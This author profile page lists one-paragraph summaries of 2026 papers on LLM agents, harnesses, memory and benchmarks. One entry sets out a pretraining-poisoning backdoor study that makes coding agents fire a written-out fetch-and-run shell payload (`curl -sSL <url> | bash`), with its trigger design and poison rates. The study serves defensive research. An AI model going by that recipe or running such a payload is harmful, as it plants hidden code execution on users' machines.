Elvis Saravia
Co-founder of DAIR.AI; explains new LLM and agent papers for practitioners.
Field guides
Entries by Elvis Saravia are sources in these guides:
Entries
- 2026-11-24R260Recursive self-improvement in 2026: ten papers and what they teachA DAIR.AI reading list of ten 2026 recursive self-improvement papers, grouped by what to change (Meta-Harness, Exo, Hyperagents, a harness-versus-training failure taxonomy), how to tell a gain is real (Harness-Delta Attribution, the winner's curse in self-improvement loops, co-evolving verifiers), how loops get poisoned, and production use (Spotify's recommender, a split pre-training loop), plus five benchmarks. Its real thesis is measurement hygiene: many reported gains are partly selection noise, overfitting, extra compute or grader drift. Key caveat: a curated list with headline numbers from each paper, not a replication.
- 2026-11-23R233sharedCoEvoBench: can an LLM researcher co-evolve a model and its harness?An LLM researcher gets a 9B base model, a starting harness and 24 hours, may edit the harness, train, or both, and submits one pair scored on held-out SWE-bench Verified, a Terminal-Bench subset, AppWorld, tau-bench and BFCL. GPT-6 Astra closes over four-fifths of the gap to an instruct reference, Opus 5 over half, open models under a third. The harness drove most gains in four of five domains; researchers stalled after one good round, trained before testing whether it would help, and selected on training tasks.
- 2026-11-22R224sharedBuggyMLE: harder coding evals by injecting verified bugs into working ML reposA Code Complexity Index of ten structural features (repo size, dependencies, files, hunks and lines changed) predicts average solve rates across eight coding benchmarks with R² ≈ 0.95. BuggyMLE uses that as a dial: an agent injects verified bugs into working ML repos to a mutation budget, an oracle isolates which ones matter, and a solver is graded on recovered metrics. The best of 14 models falls from 95% to 9% across tiers; silent bugs that leave validation intact are fixed far less often; a 9B model trained on the curriculum rivals frontier models.
- 2026-11-21R211sharedAutoRAGBench: coding agents build RAG systems from scratch and beat published designsCoding agents get six hours and one H800 to build a RAG system from scratch on nine tasks, with the test set outside the container, an audit gate before scoring and five answering models grading retrieval. The best agent (GPT-6.1 Sol with Codex CLI) averaged 56.1 against 44.4 for the best published method per task, but every agent-built system retrieved 1.4 to 5.8x slower, and a quarter submitted a version worse than their own peak.
- 2026-11-20R189sharedAn unverified Lean-checked claim of the Riemann Hypothesis, and how to evaluate itClaims RH and GRH proved with Claude and formalized in Lean without extra axioms; only the Lean is released. Method sketched as a theta-lift analogue of Stepanov's multiplicity method. Unverified as of filing: the checklist covers statement fidelity, `#print axioms`, independent kernel checks and reproducible builds.
- 2026-11-20R185sharedBenchmark Factory: coding evals built from your own merged changesAn agent loop sources tasks from landed production changes, runs models of known relative strength, diagnoses and repairs the sourcing query, prompt and grader until the benchmark clears label-free anchors (expected capability ordering within a margin, an informative difficulty band, low run-to-run variance), with a hash-split holdout that never drives repairs and human checkpoints for what it can't fix. Five cohorts; held-out configurations ranked as expected (60.6% vs 54.4%; 65.8% vs 60.5%), 9 of 10 per-cohort comparisons agreed; trivial benchmarks and five broken graders rejected; shuffled labels passed at most 1.4%.
- 2026-11-19R174sharedQDA: an agent designs the quantization recipe, scored by KL in minutesClaim: a coding agent searching PTQ recipes beats the strongest public recipes by 0.9 to 2.2 points at 64 GPU-hours per search, because each candidate is scored in minutes by KL to the original model on hidden reasoning traces, with long-generation checks for loops and an evaluator kept outside the agent's sandbox.
- 2026-11-19R164sharedGUARD: self-improving harnesses that only keep edits that don't break thingsFrozen model, self-edited harness; a pre-execution checklist per task, paired regret that ranks newly broken criteria first and pins mastered ones, group-relative scoring of parallel candidate edits, and a gate that promotes only net-positive edits. 80.8% on 43 SDK tasks (+8.89 over start, +6.28 over Meta-Harness, 54.5% fewer tokens); zero procedural memory pollution where aggressive rewriters tripled it.
- 2026-11-18R147sharedAnthropic's components of agent memory: notes, dreaming, wikis, injected contextFour layers (transcripts, agent-written notes, derived wikis, a small injected index) plus dreaming, an offline pass that corrects notes against transcripts, builds wikis and prunes the injected layer. Measured: memory lifts Opus 5 0.564 to 0.828 on a CL-Bench task but Sonnet 4.6 only 0.330 to 0.364; a fixed "record only failures" rule costs strong models most of the gain; Fable 5's 10-file Pokemon memory beat Sonnet 3.7's 413 files; wiki + search 61% vs search 53%, no gain on single-document lookup; one writer per page kept 57/57 facts vs 41/57.
- 2026-11-18R144Self-organized self-improvement: frozen agents that design their own learning loopNo prescribed loop: a frozen teacher with Read/Write/Bash/Gameplay tools, 20 context edits and 150 gameplays writes its own PuzzleScript games and edits a same-model player's prompt and skill files, with no real games or validation scores. Newer generations self-improve on held-out PS-t20 (+20% Opus-5, +10% GPT 6-Astra, +6% GLM 5.3), older ones don't; Opus-5 roughly matches GEPA on 20 real games. Transfer: PS-t30 +9%, ARC-AGI-3 L1 +21%, MazeBench +0.15 SPL. Unprompted strategies: A/B tests with and without artifacts, BFS-filtered difficulty, replay concentrated at 20-60% win rates, adversarial games, regression suites. Read/Write alone recovers under half the gain; one Bash-only teacher built its own simulator. More eval detail in the prompt or tool budgets drives overfitting. Safety point: omitting a loop doesn't prevent one. Caveats: games only, 3 seeds, self-graded progress.
- 2026-11-18R141Auto-approving agent PRs: policy-gated approval, guards and session reviewApprove routine PRs when the AI review finds nothing at or above a severity in chosen categories and the blast radius is small; guards keep repos, paths (auth/**) and authors (including agents) with a person; label-only shadow mode first; re-review and withdraw on every commit; the bot counts as one approval and a human merges. Five questions for any auto-approver, and the cross-PR blind spot that per-session review targets.
- 2026-11-16R114sharedAutoRL: agents that supervise a live RL runPerceptors watch training, three Proposers diagnose, an Orchestrator applies hot updates or checkpoint restarts. Qwen3 AIME 2024 46.67% to 66.67%; LongCat-Flash-Lite agentic coding pass@1 52.29% to 65.13% over a long unattended run; repaired a deliberately broken recipe. Validation compute is the bottleneck.
- 2026-11-16R108OO-Harness: evolving a class hierarchy of agent harnessesEvolves a tree of harness subclasses, each overriding only what a task cluster needs, with design lessons (what helped, what failed) for the evolution agent and routing lessons for a router that reads the task plus a base-harness run and picks a specialist or keeps the base result. Frozen Gemini 3.5 Flash executor, held-out tasks: AutomationBench 61.6 to 77.4, Workspace-Bench 25.5 to 39.5, Toolathlon-GYM PASS 31.2 to 37.5; beats Meta-Harness, AHE and Adaptive Auto-Harness (75.4 on AutomationBench, so most of the gain is specialization). Inheritance beats flat copies by 4.96 points; best-of-K does not reliably help; base reuse protects OOD tasks. Every task pays for a base run, and no router error rate is reported.
- 2026-11-16R107Ten eval papers of 2026: building evals you can trustTen papers as a build sequence: benchmark saturation (nearly half of 60 saturated), Terminal-Bench, SkillsBench paired comparison (33.9% to 50.5%, gain 4-26 pts by setup), JEV confidence-routed judging (41% of GPT-6 cost), correlated judges (9 judges = ~2 votes), agent-as-a-judge survey, Claw-Eval (output-only grading missed 44% of safety violations), process vs outcome verifiers, PostTrainBench cheating audits, LifeVal personal-context tasks. One curator's list; arXiv links in doc.
- 2026-11-15R088MemCredit: pick agent memories by decision utility, not relevanceCounterfactual interventions measure how each memory changes the agent's next action; a light estimator trained on those credits picks, from relevance-retrieved candidates, what fits a token budget. Most retrieved memories never change the action. ALFWorld at 500 tokens: 86.57% vs 65.67% for BM25 with ~75% fewer memory tokens; policy unchanged. Caveats: policy-conditional credits, replayable decisions needed, short-action benchmarks.
- 2026-11-15R084sharedBuilding always-on agents: five primitives for agents that sleep, wake and act"Always-on" is a UX: the agent sleeps and wakes for short runs (event in, act, persist, sleep) inside new or resumed sessions. Five primitives, each its own durable store or service: an event inbox (every trigger appends a row; fast-ack handler; inbox as source of truth so crashed runs retry; one worker per inbox; batch pending events; dedupe by source ID), timers (follow-ups vs schedules in a separate store; a polling scheduler enqueues events, never starts runs), memory (files on durable storage; only what can't be looked up again, pointers otherwise; user instructions, user notes, past messages, per-task progress; optional dreaming), permissions (credential-injecting proxy outside the agent, classifier-backed auto mode, deferred tool calls that end the run and resume when the answer arrives as an inbox event) and an outbox (send / nothing / defer; a table plus dispatcher for pacing and retries; eval message volume, start quiet). Cites 78% lower cost per solved task on a long-horizon coding benchmark across model generations. Doc adds failure modes (double runs, retry side effects, timer storms, approval limbo, unattended injection) and a 12-point review checklist.
- 2026-11-12R057SoMem: agents organizing their own memory as linked documentsNo fixed memory schema: the agent writes and revises Markdown topic documents, each paragraph footnoted with an event time and links to records in an append-only Source log; a size-capped Core file rides on every query. "The model owns the meaning, code owns the consistency": every edit is staged and validated (Source untouched, links and evidence resolve, times valid, Core under cap), rejected edits keep the old state, and code builds Graph (backlinks), Timeline and Recent views. Reading is agentic: BM25, embeddings or a read-only shell, following links down to Source. Beats the best baseline by 2.66 (LoCoMo 88.96), 3.10 (BEAM-100K) and 2.00 (LongMemEval-S); strongest on temporal questions, weak on abstention and contradictions. Ablation: dropping Source costs 8.6 points, Topic 2.9, the views within noise; iterative search beats one-shot BM25 and dense retrieval by 30 to 40 points on a subset. Memory is portable across writer and reader models. Costs: about 34x Mem0 per LoCoMo run, about 20 s and 5 to 7 calls per question; validator guarantees provenance, not that summaries still match sources (drift); LLM judges uncalibrated, single-run ablations.
- 2026-11-12R053Agentic backdoors via pretraining poisoningAn outside attacker who only gets web text into the pretraining crawl plants a remote code execution backdoor (`curl -sSL <url> | bash`) that survives a fully clean SFT, DPO and GRPO agent pipeline. Qwen3 0.6B/1.7B/4B pretrained from scratch on 100B FineWeb tokens: at 0.1% poison the 4B CLI agent fires on 92.7% (Pass@32) of prompts whose file paths contain a provider name (an ordinary-string trigger the victim's own machine supplies, generalizing to unseen paths) and 10.5% with an injected rare string; 0.0% on clean prompts and no capability loss. ASR rises monotonically with size; still 1.4% at 0.0005% (about 2,500 documents). Declaration poison (prose that states the rule, like a commit message) beats chat-transcript demonstrations (92.7% vs 3.2%) and is harder to filter. Defense: guard the action (sandbox, least privilege, egress, allow-lists, confirmation, pre-execution classifiers). Caveats: small models only, one fixed payload, single-seed low-rate runs, defenses not evaluated.
- 2026-11-12R038AlphaProof Code: agents formally verify Signal's protocol implementationGemini 4 Carbon agents wrote about 6.5M lines of Lean proving PQXDH plus Triple Ratchet security (forward secrecy, authentication, post-compromise security, handshake secrecy) against the stock-rustc AArch64 binary of unmodified libsignal, in symbolic and computational models; five people, four weeks, versus about twenty person-years for seL4. Specs (about 26K trusted lines incl. machine semantics) are trusted and human-approved; proofs are untrusted and kernel-checked. Roles: spec writer plus skeptical reviewers, vacuity checks, orchestrator that never edits, team leads that summarize, architect, sole-committer integrator, single-writer files, a critic (blind to proof attempts) gating small necessary spec amendments, and a gatekeeper running comparator against a held-out spec copy; 40 to 80 agents per 24 to 72h campaign. Two reintroduced old bugs were proved insecure. Caveats: spec is the trust root, crypto and some library routines are contracts, CLI harness only, no compute cost given, computational bound vacuous at scale.
- 2026-11-11R025LongCapHarness: a written harness instead of long-context trainingA strong model (GPT-5.6-Sol) splits each long-context task type into capability primitives (code for rules like lookup, counting and ordering; bounded LLM calls for judgements), writes control logic and state that live outside the model's context, and refines them by recursive self-improvement on a dev set; the frozen harness library then runs a small model with an 8K or 32K window. HELMET plus RULER: Llama3-8B 15.14 to 79.32 (+64.18) with no training, above NExtLong-128K (70.15); transfers to Qwen2.5-3B (78.73 vs PolicyLong 64.10); about $541 in API tokens vs $1.9K to $3.7K of GPU time. Caveats: the dev split covers every evaluated task type, perfect Recall comes from code, ICL/RAG/LongQA barely move, small models cannot build their own harness, and inference input tokens roughly double.
- 2026-11-10R019s3: agent swarms that learn their own coordinationN copies of one small model, no roles or orchestrator, just message/read tools in an async harness, trained with GRPO on one max-over-team reward. Learns broadcast-once for pooling private facts (93% vs 35% for online SFT at N=4) and branch-claiming for search. Per-agent reward breeds a public-goods dilemma where agents go silent. Caveats: toy tasks, 0.6B/1.7B models, no win over best-of-4 at training size after correction.
Credits come from each entry's byline. How reputation is scored.